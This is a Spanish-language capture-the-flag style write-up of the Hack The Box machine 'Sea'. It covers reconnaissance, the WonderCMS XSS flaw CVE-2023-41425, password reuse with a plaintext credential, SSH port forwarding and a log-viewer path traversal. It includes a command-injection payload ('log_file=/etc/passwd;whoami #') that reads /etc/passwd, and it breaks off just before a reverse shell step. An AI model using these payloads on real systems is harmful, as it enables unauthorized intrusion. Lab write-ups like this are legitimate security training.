Publicado: 12 de Mayo de 2025
Autor: José Miguel Romero aKa x3m1SecDificultad: ⭐ Easy
📝 Descripción
Sea es una máquina vulnerable de Hack The Box que presenta varios desafíos de seguridad web e infraestructura. La máquina involucra:
Enumeración de servicios web
Explotación de una vulnerabilidad de Cross-Site Scripting (XSS) en WonderCMS
Escalada de privilegios mediante técnicas de enumeración y abuso de servicios internos
🚀 Metodología
flowchart TD
A[🔍 Reconocimiento Inicial] --> B[🌐 Escaneo de Puertos]
B --> C[🕵️ Enumeración Web]
C --> D[🔓 Identificación de Vulnerabilidades]
D --> E[💥 Explotación]
E --> F[🏠 Establecer Foothold]
F --> G[🚪 Escalada de Privilegios]
G --> H[🏆 Obtención de Flags]
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.11.28
PING 10.10.11.28 (10.10.11.28) 56(84) bytes of data.
64 bytes from 10.10.11.28: icmp_seq=1 ttl=63 time=47.8 ms
64 bytes from 10.10.11.28: icmp_seq=2 ttl=63 time=48.3 ms
--- 10.10.11.28 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 47.811/48.033/48.256/0.222 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
nmap -sC -sV -p$ports 10.10.11.28 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 11:54 CEST
Nmap scan report for 10.10.11.28
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds
🌐 Enumeración Web
80 HTTP (sea.htb)
⚠️ Importante: Al intentar acceder a la sección de contacto, vemos que la peticición se dirige a un vhost sea.htb que deberemos añadir a nuestro fichero /etc/hosts para su resolución:
echo "10.10.11.28 sea.htb" | sudo tee -a /etc/hosts
Activamos el interceptor de Burp y capturamos la petición del formulario:
Haciendo fuzzing de directorios de forma recursiva con la herramienta ferxobuster encontramos un par de archivos que puede que nos aporten más información sobre algún posible vector de ataque:
Revisando el código fuente del proyecto en el repositorio oficial de github vemos que también existe un fichero README.md
http://sea.htb/themes/bike/README.md
Este fichero nos aporta información relevante sobre que estamos ante CMS llamado WonderCMS v.3.2.0 a v.3.4.2 permite a un atacante remoto ejecutar código arbitrario a través de un script manipulado y cargado en el componente installModule mediante una vulnerabilidad de Cross Site Scripting.
https://nvd.nist.gov/vuln/detail/CVE-2023-41425
💻 Explotación
🔓 CVE-2023-41425
Existen varios exploits públicos que permiten explotar esta vulnerabilidad:
https://github.com/duck-sec/CVE-2023-41425
Esta exploit abusa de la vulnerabilidad XSS del campo loginURL del CMS:
Para ello nos vamos a servir del campo Website del formulario, el cual generará un hipervínculo y confiaremos en que el administrador que lo reciba haga click en él.
En pocos segundos veremos como se realiza la petición al recurso malicioso:
Y recibimos la reverse shell en nuestro host de ataque:
Nota: Aquí es importante revisar que se están usando caracteres para escapar la /, por lo que esto hay que tenerlo en cuenta ya que el hash tal como está no podemos intentar crackearlo, debemos eliminar previamente los caracteres ""
Ahora verificamos si está llevando a cabo la mala praxis de reutilización de contraseñas para alguno de los usuarios que hemos enumerado anteriormente (amay o geo):
Logramos autenticarnos como amay para obtener la primera flag:
Enumeramos servicios en ejecución y vemos un servicio ejecutándose en el puerto 8080. Este servicio parece estar ejecutándose de forma local ya que anteriormente en nuestra enumeración de puertos y servicios vimos que había únicamente dos servicios, 22 y 80.
ss -tulnp
Dado que tenemos la contraseña del usuario amay, podemos verificar si podemos conectarnos vía ssh con estas credenciales y vemos que sí:
ssh amay@10.10.11.28
mychemicalromance
En este punto se me ocurre que podemos realizar port forwading del puerto 8080 a nuestro host de ataque usando para ello el puerto ssh:
ssh -L 8081:127.0.0.1:8080 amay@10.10.11.28
A continuación desde nuestro host de ataque accedemos a este servicio y encontramos un panel de autenticación HTTP básica. Al probar con las credenciales amay:mychemicalromance logramos acceder:
Explotación
No hallamos nada relevante a priori, pero sí que hay un combo que permite seleccionar el archivo del cuál quieres leer el log, vamos a revisar cómo se está realizando la petición interceptándola con Burp Suite y comprobamos que el parámetro log_file no está debidamente sanitizado y que es vulnerable a path traversal:
Sin embargo no podemos leer otros archivos, parece que se está aplicando algún tipo de filtrado. Podemos usar el carácter ; en combinación con # para evadir estos filtros de la siguiente forma:
log_file=/etc/passwd;whoami #&analyze_log=
De esta forma vemos que además de listar el contenido del fichero /etc/passwd también se ejecuta el comando whoami.
Podríamos aprovechar esto para ganar una reverse shell de la siguiente forma: